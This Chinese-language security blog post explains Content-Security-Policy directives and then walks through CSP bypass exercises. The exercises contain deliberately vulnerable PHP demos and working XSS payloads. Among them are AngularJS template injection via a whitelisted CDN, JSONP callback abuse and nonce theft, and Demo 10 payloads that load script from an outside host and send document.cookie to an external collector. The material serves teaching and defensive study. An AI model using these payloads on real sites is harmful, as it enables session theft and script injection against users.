解析器:
启用 CSP 方式
HTTP Header Content-Security-Policy
Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:
HTML <meta>
此方式不能用于 frame-ancestors、report-uri 或 sandbox
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
语法
Content-Security-Policy: <policy-directive>; <policy-directive>
指令
获取指令 Fetch directives
通过获取指令来控制某些可能被加载的确切的资源类型的位置
child-src
定义了 web workers 以及嵌套的浏览上下文(如 <frame>
和 <iframe>
)的源。推荐使用该指令,而不是被废弃的 frame-src
指令
注意: 如果没有指定这条指令,浏览器会查询 default-src
指令
如果开发者希望管控内嵌浏览器内容和工作者应分别使用frame-src和worker-src 指令,来相对的取代 child-src
<?php header("Content-Security-Policy: frame-src example.com");?>
// 以下Demo会被拦截
<iframe src="https://non-example.com">
connect-src
限制能通过脚本接口加载的 URL
收到影响的 API 如下:
- <a> ping
- Fetch
- XMLHttpRequest
- WebSocket
- EventSource
<?php header("Content-Security-Policy: connect-src https://example.com/");?>
// 以下Demo会被拦截
<a ping="https://not-example.com">
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://not-example.com/');
xhr.send();
var ws = new WebSocket("https://not-example.com/");
var es = new EventSource("https://not-example.com/");
navigator.sendBeacon("https://not-example.com/", { ... });
</script>
default-src
dafault-src 作为以下获取指令
的fallback,对于以下列出的指令,假如设定了,那么 default-src 不会对它们起作用;假如不存在的话,那么用户代理会查找并应用 default-src 指令的值。
- child-src
- connect-src
- font-src
- frame-src
- img-src
- manifest-src
- media-src
- object-src
- script-src
- style-src
- worker-src
以下指令不使用 default-src 作为 fallback。请记住,如果不对其进行设置,则等同于允许加载任何内容:
- base-uri
- form-action
- frame-ancestors
- plugin-types
- report-uri
- sandbox
font-src
设置允许通过@font-face加载的字体源地址。
<?php header("Content-Security-Policy: font-src https://example.com/");?>
// 以下Demo会被拦截
<style>
@font-face {
font-family: "MyFont";
src: url("https://not-example.com/font");
}
body {
font-family: "MyFont";
}
</style>
frame-src
设置允许通过类似<frame>和<iframe>标签加载的内嵌内容的源地址
样例类似 connect-src
img-src
限制图片和图标的源地址
manifest-src
限制应用声明文件的源地址
<?php header("Content-Security-Policy: manifest-src https://example.com/");?>
// 以下Demo会被拦截
<link rel="manifest" href="https://not-example.com/manifest">
media-src
限制通过<audio>、<video>或<track>标签加载的媒体文件的源地址
object-src
限制<object>、<embed>、<applet>标签的源地址
被object-src控制的元素可能碰巧被当作遗留HTML元素,导致不支持新标准中的功能(例如<iframe>中的安全属性sandbox和allow)。因此建议限制该指令的使用(比如,如果可行,将object-src显式设置为’none’)
<?php header("Content-Security-Policy: object-src https://example.com/");?>
// 以下Demo会被拦截
<embed src="https://not-example.com/flash"></embed>
<object data="https://not-example.com/plugin"></object>
<applet archive="https://not-example.com/java"></applet>
script-src
限制JavaScript的源地址
不仅包括直接加载到<script>元素中的 URL,还包括可以触发脚本执行的内联脚本处理程序(onclick)和XSLT样式表等内容
<?php header("Content-Security-Policy: script-src https://example.com/");?>
// 以下Demo会被拦截
<script src="https://not-example.com/js/library.js"></script>
<button id="btn" onclick="doSomething()">
// 以下Demo会被放行
document.getElementById("btn").addEventListener('click', doSomething);
unsafe-inline
要允许内联脚本和内联事件处理程序,unsafe-inline
可以指定与内联块匹配的nonce-source
或hash-source
<?php header("Content-Security-Policy: script-src 'unsafe-inline';");?>
//允许内联<script>元素
<script>
var inline = 1;
</script>
- nonce
<?php header("Content-Security-Policy: script-src 'nonce-2726c7f26c'");?>
// 允许特定内联脚本块,需设置相同随机数
<script nonce="2726c7f26c">
var inline = 1;
</script>
- hash
使用 Google 搜索如何生成 SHA 哈希值,将会返回任何语言的解决方法。 使用 Chrome 40 或更高版本,您可以打开 DevTools,然后重新加载您的页面。 Console 标签将包含错误消息,提供每个内联脚本的正确的 sha256 哈希值。
<?php header("Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='");?>
// 从内联脚本创建哈希。CSP支持sha256,sha384和sha512
// 生成哈希时,不要包含<script>标记,并注意大写和空白很重要,包括前导或尾随空格
<script>var inline = 1;</script>
unsafe-eval
‘unsafe-eval’源表达控制该创建从串代码几个脚本执行方法,未设置情况下以下方法将被阻止:
- eval()
- Function()
- 传递字符串文字时,如: window.setTimeout(“alert("Hello World!");”, 500);
- window.setTimeout
- window.setInterval
- window.setImmediate
- window.execScript(仅IE <11)
strict-dynamic
源表达式指定显式给予标记中存在的脚本的信任,通过附加一个随机数或散列值,应该传播给由该脚本加载的所有脚本。与此同时,任何白名单或源表达式(例如’self’或’unsafe-inline’将被忽略)
<?php header("Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguV' 'strict-dynamic'")?>
<script src="https://blog.sari3l.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
// 以下 script 将被执行
var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);
// 以下 script 不会执行
document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');
不执行的原因在于 chrome 禁止了 document.write 执行动态生成的 script 代码块
dependency.js will load, as the script element created by createElement() is not “parser-inserted”.
sadness.js will not load, however, as document.write() produces script elements which are “parser-inserted”.
style-src
限制层叠样式表文件源
webrtc-src
指定WebRTC连接的合法源地址
worker-src
限制Worker、SharedWorker或者ServiceWorker脚本源
文档指令 Document directives
文档指令管理文档属性或者worker环境应用的策略
base-uri
限制在DOM中<base>元素可以使用的URL
base-uri 指令限制了可以应用于一个文档的
plugin-types
通过限制可以加载的资源类型来限制哪些插件可以被嵌入到文档中
sandbox
类似<iframe> sandbox属性,为请求的资源启用沙盒
该指令与我们看到的其他指令有些不同,因为它限制的是页面可进行的操作,而不是页面可加载的资源。如果 sandbox 指令存在,则将此页面视为使用 sandbox 属性在 <iframe> 的内部加载的。这可能会对该页面产生广泛的影响:强制该页面进入一个唯一的来源,同时阻止表单提交等其他操作
allow-forms
:允许嵌入式浏览上下文提交表单。如果未使用此关键字,则不允许此操作allow-modals
:允许嵌入式浏览上下文打开模态窗口allow-orientation-lock
:允许嵌入式浏览上下文禁用锁定屏幕方向的功能allow-pointer-lock
:允许嵌入式浏览上下文使用指针锁定APIallow-popups
:允许弹出窗口(像window.open,target=”_blank”,showModalDialog)。如果未使用此关键字,则该功能将悄然失败allow-popups-to-escape-sandbox
:允许沙盒文档打开新窗口而不强制沙盒标记。例如,这将允许第三方广告安全地进行沙盒处理,而不会对登录页面强加相同的限制allow-presentation
:允许嵌入程序控制iframe是否可以启动演示会话allow-same-origin
:允许将内容视为来自其正常来源。如果未使用此关键字,则将嵌入内容视为来自唯一来源allow-scripts
:允许嵌入式浏览上下文运行脚本(但不能创建弹出窗口)。如果未使用此关键字,则不允许此操作allow-top-navigation
:允许嵌入式浏览上下文将内容导航(加载)到顶层浏览上下文。如果未使用此关键字,则不允许此操作
导航指令 Navigation directives
导航指令管理用户能打开的链接或者表单可提交的链接
form-action
限制能被用来作为给定上下文的表单提交的 目标 URL (说白了,就是限制 form 的 action 属性的链接地址)
frame-ancestors
指定可能嵌入页面的有效父项<frame>, <iframe>, <object>, <embed>, or <applet>
navigation-to
限制文档可以通过以下任何方式访问URL (a, form, window.location, window.open, etc.)
报告指令 & 其他指令
Bypass
Demo 1 - iframe CSP attribute
如果设置iframe元素的csp属性,会对内嵌的资源强制实行同源策略,来源w3c
需要注意一点:
1. 强制覆盖只应用于被 src 属性引入的页面
2. 如果是利用 srcdoc 属性嵌入的 html 中使用 meta 限定了 CSP,实际和 iframe 的 csp 属性采用并列形式
<!-- 查看console报错信息,需同时满足两个nonce -->
<iframe csp="script-src 'nonce-1'" srcdoc="<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-2'"><script nonce=2>alert(1)</script>">
<!-- 编码内容 -->
<!-- <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-2'"><script nonce=2>alert(1)</script> -->
练习题
// demo.php
<?php
function randHash($len = 32)
{
return substr(md5(openssl_random_pseudo_bytes(20)), -$len);
}
echo "<script src='csp.php?nonce=" . randHash() . "'></script>";
?>
Update Profile:
<form action="update.php" method="POST">
<textarea rows="10" cols="50" name="profile"><?php
if ($_GET['id']) {
echo readfile("/tmp/" . $_GET['id'] . ".txt");
} else {
header("location:/demo.php?id=" . randHash());
}
?></textarea>
<br/>
<input type="hidden" name="id" value="<?php echo $_GET['id'];?>">
<input type="submit" value="submit">
</form>
//csp.php
<?php
header('Content-type: text/javascript');
?>
meta = document.createElement('meta');
meta.httpEquiv = 'Content-Security-Policy';
meta.content = "script-src 'nonce-<?php echo $_GET[nonce];?>'";
document.head.appendChild(meta);
//update.php
<?php
try {
$id = $_POST['id'];
$profile = $_POST['profile'];
$tmpfile = fopen("/tmp/" . $id . ".txt", "w");
fwrite($tmpfile, $profile);
fclose($myfile);
echo 'success';
header("location:/demo.php?id=" . $id);
}
catch(Exception $e) {
echo 'Message: ' . $e->getMessage();
}
?>
利用
</textarea>
<iframe src="iframe.php?id=当前页面ID值" csp="script-src 'nonce-1'"></iframe>
<script nonce=1>alert(/xss/)</script>
额外利用方式,利用chrome-xss-auditor
屏蔽添加csp的js代码执行
Demo 2 - base-uri
条件:
- script-src 出现
nonce
,不允许出现self
或者限定有某ip\domain
- 没有设置有额外的 base-uri 或被 default-src 设置的 base-uri
- script 标签中可控的nonce,以及src采用相对路径
练习题
// demo.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-test'");
if ($_GET['base']) {
preg_match('/^\/\/([-.\w]*[0-9a-zA-Z])\//', $_GET['base'], $base);
if (count($base) > 0 && strstr($base[0], 'blog.sari3l.com')) {
echo "<base href='" . $base[0] . "'>";
}
}
?>
<form action="demo.php" method="GET">
<textarea rows="10" cols="50" name="profile"><?php
if ($_GET['profile'] && !strstr($_GET['profile'], 'base')) {
echo $_GET['profile'];
}
?></textarea>
<br/>
<input type="submit" value="submit">
</form>
利用
?base=//blog.sari3l.com.IPS/&profile=
Demo 3 - CDN
一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
- 案例:orange - A Wormable XSS on HackMD!
- 可用cdn - 低版本angular模板注入:csp-evaluator
- RCTF2018:AMP库
<!-- 下面的标签可以获取名字为FLAG的cookie -->
<amp-pixel src="http://IPS/?cid=CLIENT_ID(FLAG)"></amp-pixel>
- BlackHat - 更多可用JS库整理:PDF
条件:
- script-src CDN 白名单
- 库文件存在低版本 XSS 漏洞
- 具体条件如下
练习题
//demo.php
<?php
header("Content-Security-Policy: script-src 'unsafe-eval' https://cdnjs.cloudflare.com; default-src 'none'");
if ($_GET['src']) {
echo "<script src='" . $_GET['src'] . "'></script>";
}
if ($_GET['profile']) {
echo $_GET['profile'];
}
?>
利用
?src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js&profile=<div ng-app>{{constructor.constructor('alert(/xss/)')()}}
Demo 4 - JSONP
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
- 案例:bypasses-everywhere 解法 1 bypasses-everywhere 解法 2
- 可用cdn - JSONP(但不知道如何快速获取参数?):csp-evaluator
条件:
- 可控 JSONP
- JSONP 地址在 CSP 白名单中
存在问题,不好控制返回内容
练习题
//demo.php
<?php
header("Content-Security-Policy: script-src www.google.com; default-src 'none';");
if ($_GET['src']) {
echo "<script src='" . $_GET['src'] . "'></script>";
} else {
echo "try src";
}
?>
利用
?src=https://www.google.com/complete/search?client=chrome&q=hello&callback=alert
?src=https://www.google.com/complete/search?client=chrome&q=document.write(%22%22)//&callback=top.FRAMEID.setTimeout
Demo 5 - Script Tag
这个相对来说比较常见,利用 UA 自动闭合标签的性质
当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script
会变成一个属性,值为空,之后的nonce='xxxxx'
会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src
这里需要注意,UA接收输入的"
在之后遇到(空格)后会直接闭合,具体情况可以在 Elements 中查看
练习题
//demo.php
<?php
function randHash($len = 32)
{
return substr(md5(openssl_random_pseudo_bytes(20)), -$len);
}
$nonce = randHash();
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-" . $nonce . "'");
if ($_GET['src']) {
echo $_GET['src'];
}
echo "<script nonce=" . $nonce . ">console.log('no xss');</script>";
?>
利用,目前只能在 Firefox 中成功,Chrome 下无法获取到 nonce
?src=<script src="data:text/plain,alert(1)"
// 原本 chrome 的利用,通过标签重复属性只解析第一个,吃掉后续的 <script 否则会报错,但测试已无效
?src=<script src="data:text/plain,alert(1)" a=1 a=
Demo 6 - SVG
SVG 是一种基于 XML 语法的图像格式,全称是可缩放矢量图(Scalable Vector Graphics)。其他图像格式都是基于像素处理的,SVG 则是属于对图像的形状描述,所以它本质上是文本文件,体积较小,且不管放大多少倍都不会失真。
案例:https://xz.aliyun.com/t/4492
这个实际和 CSP 没有太多关系,完全是因为svg - script的特性
这里还牵扯到一个知识点:为什么 xss 只在单独渲染的 svg 页面才会触发?
没有在chrome中找到相关信息,而在FF中有所提及SVG图片渲染
实际上有两种方法触发:
直接访问 .svg 文件页面
在HTML页面中利用
<embed>
引入图片<embed src="attack.svg">
练习题
Demo 8 - Cache poisoning
实战Web缓存投毒(上)
实战Web缓存投毒(下)
https://ctftime.org/writeup/13925
Demo 9 - Static Resource
还是利用了白名单中www.google-analytics.com
,不清楚 baidu 有没有类似的应用(我猜没有)
案例:HackMD Stored XSS & Bypass CSP with Google Tag Manager
条件:
- script-src 白名单
- script-src 允许 ‘unsafe-eval’
准备步骤
- 登录 https://tagmanager.google.com/
- 创建工作区,记录右上的代码
- 进入”变量 - 用户定义的变量”,新建变量,选择”自定义JavaScript”
- 进入”代码 - 新建”,先新建一个”触发条件”
- 然后创建一个”代码”,注意红框的选项,之后还要创建一个变量
- 在
跟踪ID
中选择之前创建的自定义JS的那个变量,之后一路保存 - 最后大致的样子
- 保存提交,有点类似 git 的操作
- 最后在目标页面引入 JS 即可
<!-- ID 通过第二步获取 -->
<script src="https://www.google-analytics.com/gtm/js?id=GTM-WNH4HPH"></script>
Demo 10 - sandbox Bypass
大多数现代浏览器会自动将文件(如文本文件或图像)转换为HTML页面
浏览器之所以这么做,是为了能够在浏览器窗口中正确描述相关内容:它需要布置正确的背景,进行居中,等等。但是,iframe也是一个浏览器窗口!因此,只要内容类型正确,那么,在打开需要利用iframe在浏览器中显示的任何文件(即favicon.ico或robots.txt)的时候,将立即将它们转换为HTML,而无需进行任何数据检查。
如果frame可以打开没有CSP标头的网站页面的话,那会发生什么呢?想必您已经猜到答案了。如果没有CSP,打开的frame将执行页面内的所有JS代码。如果页面带有XSS漏洞,我们就可以自己将js写入frame。
1. without X-Frame-Options:DENY
通过iframe引入外部js,将src设置为同域的,从而绕过CSP的default-src 'self'
规则
练习题
//demo.php
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
?>
<body>
<script>
<?php echo $_GET['src'];?>
</script>
</body>
利用
?src=
f = document.createElement('iframe');
f.id = 'test';
f.src = './robots.txt';
f.onload = () => {
x = document.createElement('script');
x.src = "//q9dgwp80.xyz/1.js";
test.contentWindow.document.body.appendChild(x);
};
document.body.appendChild(f);
或
?src=window.open('//xxx.ceye.io/?'+escape(document.cookie))
2. with X-Frame-Options:DENY
这里可使用CSP的第二个常见错误,即在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。因为许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部
f = document.createElement('iframe');
f.id = 'test';
f.src = './不想存在页面';
f.onload = () => {
x = document.createElement('script');
x.src = "//q9dgwp80.xyz/1.js";
test.contentWindow.document.body.appendChild(x);
};
document.body.appendChild(f);
Demo 11 - JPEG
通过将 jpeg 内容注释以通过 JS 检测,但是需要配合charset指定编码
Bypassing CSP using polyglot JPEGs
翻译:https://paper.seebug.org/133/
在最新版浏览器上基本无法 bypass mime type 检测,只能理论上理解一下
以下两张图片,二进制查看就能大致明白